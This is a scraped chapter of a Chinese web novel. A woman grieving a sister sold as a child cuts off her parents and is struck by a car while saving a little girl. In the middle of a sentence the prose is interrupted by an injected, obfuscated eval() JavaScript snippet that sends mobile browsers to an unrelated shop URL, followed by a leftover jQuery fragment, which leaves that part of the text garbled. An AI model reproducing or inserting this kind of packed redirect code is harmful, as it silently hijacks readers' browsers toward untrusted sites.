文趣网 > 其他小说 > 拯救反派女配表妹 > 6. 异世之人(2)
    黄昏时分,夕阳的余晖把春城的天空染成了一片温柔的金红色。

    已经到了下班时间。

    春城的民生局坐落在市中心广场旁,广场边有小贩推着摊车停在路边,此起彼伏地叫卖着自家的东西,烤串、炸淀粉肠、金黄色的鸡架、煎饼果子的香味在空气中弥漫,铁板上的鱿鱼滋啦作响,引得不少下班路过的人停在这里,思忖着是否买上三五个小吃零嘴带回家去。

    徐朝南侧倚着梧桐树,手里夹着一根快要自燃完的香烟。

    透过灰色缭绕的烟气,她静静地看着,砍完价后买到心仪小吃的人们,心满意足地继续朝家中赶去。

    徐朝南没有家。

    二十年前,就没有了。

    在知道雪雪被卖掉后,徐招男发了疯的四处打听人贩子的下落,但最终什么线索都没有。

    她继续上了学,校长说,那是她唯一的办法。

    “你要努力读书、努力赚钱,等你有了钱,成为了对社会更重要的人。那时,你可以让更多的人帮你去找。”

    后来,徐招男,考进了中国最好的大学。

    考上大学那一年,她给自己改了名字。

    徐朝南,xuchaonan。

    她是一个北方人,家在北方,学校也在北方,太阳永远在她的南边儿。

    她朝向南方,希望有一天,来自南方的阳光,可以照在她的脸上。

    徐朝南毕业后,几经辗转,最终加入了一个创业团队。经过十多年的打拼,当初的小公司已经成为行业巨头。而她自己,也成为了集团元老级合伙人。

    工作的这些年,她除了工作,剩下的时间不是在找人,就是在找人的路上。

    可茫茫人海,始终没有线索。

    直到她说服了集团董事会,启动了全国寻人业务,这才得到雪雪的线索。

    原来当初,雪雪被卖给了一对没有孩子的中年夫妻。可好景不长,一年后,这对夫妻突然就有了孩子,他们不想再养雪雪,又怕她找回来,于是不远万里跨省,把雪雪带到了春城旅游。

    然后,便把她丢在了春城的幸福福利院。

    徐朝南得到这个线索,便赶紧赶了过来。

    结果却是这样的消息。

    徐朝南垂下眼眸,夕阳照在她浓黑纤长的睫毛上,投下一小片阴影,让人看不清她眼底的神色。

    ……

    高海燕有些心疼。

    只有她知道,徐朝南这些年是怎么过来的。

    她老大的人生,只有两件事,拼了命地工作,然后拼了命地找人。

    这两件事占据了徐朝南的全部,导致她至今孑然一人,没有成家。

    高海燕不知道自己该说什么。

    之前,她还能劝一劝,希望徐朝南要向前看。但自从前年,她生了孩子,看着孩子一点点长大,对她哭对她笑,软乎乎的叫她妈妈,她才体会到老大的心情。

    她根本没法想,如果有一天,她的孩子不见了,她会变成什么样子。

    往日一切所谓安慰的话,都是剔骨剜心的刀,没经历的人,不能体会这种痛苦——那是即使死了,都要带到地下的执念。

    从那时起,高海燕能做到的,只有站在徐朝南身后,安静陪着她沉默。

    就像今天。

    以及可能的无数的以后。

    ……

    一阵手机铃声,打破了两人的沉默。

    徐朝南拿出手机,沉默着看了良久,才按下了接听键。

    高海燕瞟了一眼来电号码,心骤然揪紧。

    话筒对面传来嘈杂的声音,有女人的哭泣声,男人的叫骂声,还有玻璃破碎的声音。

    “喂,大丫头,快给家里转两百万!”

    “那伙讨债的不知道把你弟弟绑到哪里去了,必须把钱交了人才会放出来,你赶紧的!快点!”

    徐朝南没说话,她只是静静地听着,烟雾缭绕中,神色晦暗难明。

    “喂?”

    “喂!”

    “你个死丫头片子,你听到了没有?!”

    对方的声音很大,隔着话筒都能听着清清楚楚。

    “人没了,就去报警,我不是警察。”徐朝南没有起伏地说完,准备挂掉电话。

    “你个畜生!他们绑了你亲弟弟!光宗他要有个好歹,你要我们怎么活?!”

    徐朝南准备挂电话的手指突然顿住,停在了半空之中。

    “怎么活?”

    徐朝南似乎听到了一件非常有趣的事情,她突然放声大笑。

    她笑得胸腔发颤,身体后仰,笑得两行眼泪从那双好看的凤眼中流淌了出来,引得过路的人都纷纷看了过来。

    笑够了,她对着手机那头厉声道:“我现在怎么活!你们就怎么活!”

    “亲弟弟?”

    “你告诉我,我的亲妹妹去哪了?!”

    “我的雪雪去哪了?!”

    徐朝南对着话筒怒吼。

    徐家从来不认为自己做错了事情,直至今天,徐富贵仍然觉得他当年的决定正确无比。

    而徐朝南,她自认为已经能够很冷静地面对徐家的冷血。毕竟,很多事情,争执是没有结果的,她不想浪费这些本该属于找人的精力。

    她高估自己了。

    在得知雪雪很可能早就死了,死在了二十多年前的火灾。而她所谓的父母,却只关心那个爱慕虚荣、为了在女主播面前充富二代、借钱装逼最后欠了一屁股债的狗屁弟弟!

    她压抑了多年的情感,终于爆发了出来。

    她不顾形象的对着手机大吼,引得路人频频回头,还有不少人驻足,对着这里指指点点。

    “你们关心徐光宗,担心他会受伤。雪雪呢?!”

    “这二十多年,她在哪里?过得好不好?!”

    “她有没有饭吃?有没有衣服穿?有没有人欺负她?!”

    “你们想过吗?!”

    徐朝南继续朝着手机吼,泪流满面。

    “你们没有!”

    “你们养我的钱,我早就还给你们了。其余的,你们一分都拿不到。”徐朝南右侧牙齿上下摩擦着,嘴角弯起,露出了个略带残忍的笑容。

    “徐光宗欠钱,那你们就去打工还钱。”

    “还不上,那就用他的手指头还。”

    “手指头不够,那就再来脚指头。实在不行,肾切一个。”

    “他不是你们徐家的根吗?”徐朝南快意地笑了笑。

    “那你们就陪着他。”

    “埋进地里吧。“

    不再理会对面的辱骂,徐朝南面无表情地挂了电话。

    ……

    高海燕还在震惊中没有回过神。

    她印象中的徐朝南,虽然长着一张冷峻的脸,但永远带着微笑,从不说一句重话,尤其是对她们这些女生。

    她记得自己刚毕业来集团第一年时,因为不熟悉公司系统,做促销活动时出了错,造成了公司一千多万的经济损失。

    她被直属上级和部门领导骂得狗血淋头,哭到没有眼泪,已经做好了被集团开除的准备,甚至开始计算她和还在农村种地的父母要用余生多少年来偿还债务。

    这件事被汇报给徐朝南后,徐朝南点名见了见她,还有她的部门领导。

    “一千万。”徐朝南笑了笑:“不是什么大数目,汇报到我这里就能打住。”

    “高海燕不能开除,留下来,直至她做的项目给集团带来一千万的纯利润,这才是最优解。”

    “海燕同学,你觉得呢?”

    徐朝南坐在办公室的老板椅上,背后是一片大落地窗,夕阳透过玻璃照在徐朝南的背上,给她的廓形镶了一层金边。

    高海燕还能怎么觉得,只能心甘情愿地把命卖给徐朝南。

    ......

    “吓到你了?”

    徐朝南修长的手在高海燕眼前晃了晃,把高海燕从回忆中拉了回来。

    “没有…没有…”

    高海燕咽了咽口水,心虚的否认,虽然她刚刚的确是被徐朝南那副如恶鬼一样的语气和表情吓住了。不得不说,她老大虽是女人,却长着一张剑眉星目的脸,发起怒来,那目光放佛有千支利箭,霎那间可穿人心,让人背后发凉。

    “跟七八年前没区别,还是个不经吓的小女孩。”

    徐朝南似乎缓和了过来,仿佛和刚刚暴怒过的是两个人。她边说着,边掐了烟扔进垃圾桶,朝着旁边卖糖葫芦的老大爷走去。

    刚刚徐朝南和徐富贵通话时,旁边卖糖葫芦的老大爷被突如其来的怒吼吓得手抖,好几只准备

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679011|207620||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    插进柱子的糖葫芦掉在了地上,把老大爷心疼的嘴里直嘶气儿。

    “大爷,两只糖葫芦,一支包起来。”徐朝南拿过糖葫芦,扫了下支付码,转了一百块钱,说道:“剩下的钱,是地上洒落的那几只。”

    “喏。”徐朝南走回来,递给高海燕,“打包的那个给老王。”老王是徐朝南的专职司机。

    “我已经当妈了…吃这个有点幼稚吧…”高海燕小声咕哝着接过,看着手里红晶晶的糖葫芦还是没忍住咬了一口。

    “不过,老大,你为什么不吃?”

    高海燕哐哐干掉了两颗糖球,抬头却看到徐朝南看着自己手里的糖葫芦发呆,疑惑地问道。但话刚说完,高海燕看着徐朝南板正的大衣衬衫,心里就唾弃了下自己的愚蠢问题。老大这幅都市精英的打扮的确不适合拿个糖球,风格不搭嘎啊。

    高海燕复而低头吃糖球,没注意到徐朝南落寞的神情。

    “我…想到了一些事…”

    徐朝南的话音很轻,淹没在车水马龙的人间烟火中。但高海燕还是听到了,她抬起头看着徐朝南,又顺着徐朝南的目光,朝着马路对面的人民广场看去。

    傍晚,广场上的人比白天多了很多。

    这里有很多五六岁的、七八岁的、刚下了幼儿园和小学的孩子。他们被爷爷奶奶带着,有的买了米老鼠的氢气球四处跑,有的买了雪白的大棉花糖把脸埋了进去,还有的踩着三轮儿童车到处流窜,广场充满了欢声笑语。

    多么美好温馨的场景。

    纵然这美好与自己毫无关联,但只要看着,也能让人觉得生活还是充满了希望。

    徐朝南笑了笑。

    忽然,她怔住了。

    她看到马路对面,有一个五六岁大的女孩,笑着朝她跑了过来。

    小女孩穿着粉色小外套和小裤子,两只短短地胳膊张开,仿佛会抱住她,下一刻就能投入她的怀里。

    就像许多年前,她小小的妹妹总是会站在村口,等周末从中学回家的她。在远远地见到她出现在土路的另一头时,便会跌跌撞撞地喊着“姐姐”朝她跑过来。

    “雪雪!”有人喊道。

    “雪雪?!”

    徐朝南愣住了,她不确定那是她耳朵听到的,还是,仅仅是她心里念过无数次的声音。

    不过没能容她多想,徐朝南的眼角就看到,马路不远处一辆闯过红灯、急速驶来的跑车,而斑马线上的小女孩丝毫没有察觉。

    有车!危险!

    没等思考完,徐朝南身体已经冲了过去。

    她一把推开了小女孩,在小女孩被吓坏的表情中,身体被撞向了半空,又重重地砸向了地面。

    ……

    周围充满了嘈杂的声音。

    徐朝南听不清楚。

    她挣扎着睁开双眼,看到了手腕上的一串菩提玉珠。

    手串的中间,悬挂了一尊观音吊坠。

    她这次来春城之前,曾去了一座香火鼎盛的寺庙。

    出寺庙时,被一个道士拦住了。

    那道士说她有经年心结未解,想要解决,只需要买的一串自家亲手做的菩提手串。至于价格嘛,不贵,只要八万八千八百八十八元人民币。

    “施主,并非贫道诳语,8这个数字寓意非常。”

    道士一本正经。

    “你看,8的写法,两圈交于一点,是合的意思。施主你想找的人,一定会在这两天得到一个很好的结果。”

    徐朝南看着道士凌乱的发髻和有些脏污的衣领,还有那看起来很塑料质感的手链,哭笑不得。

    不过,徐朝南很喜欢他说的话。

    哪怕这句话,就是一句诳语。

    她也愿意当成是一种祝福。

    她买下了这串手链。

    而现在,这串手链珠子四散,中间的玻璃观音碎裂,染上了鲜红的血色。

    或许,这就是答案。

    徐朝南思绪模糊地想道。

    她的雪雪,大概,早已死在二十多年前的火灾。

    而她,要在今天,结束这漂泊无依的一生。

    她就要和雪雪团聚了。

    这的确是个好结果。

    徐朝南努力转了下头,对着被吓呆的小女孩笑了笑。

    然后失去了知觉。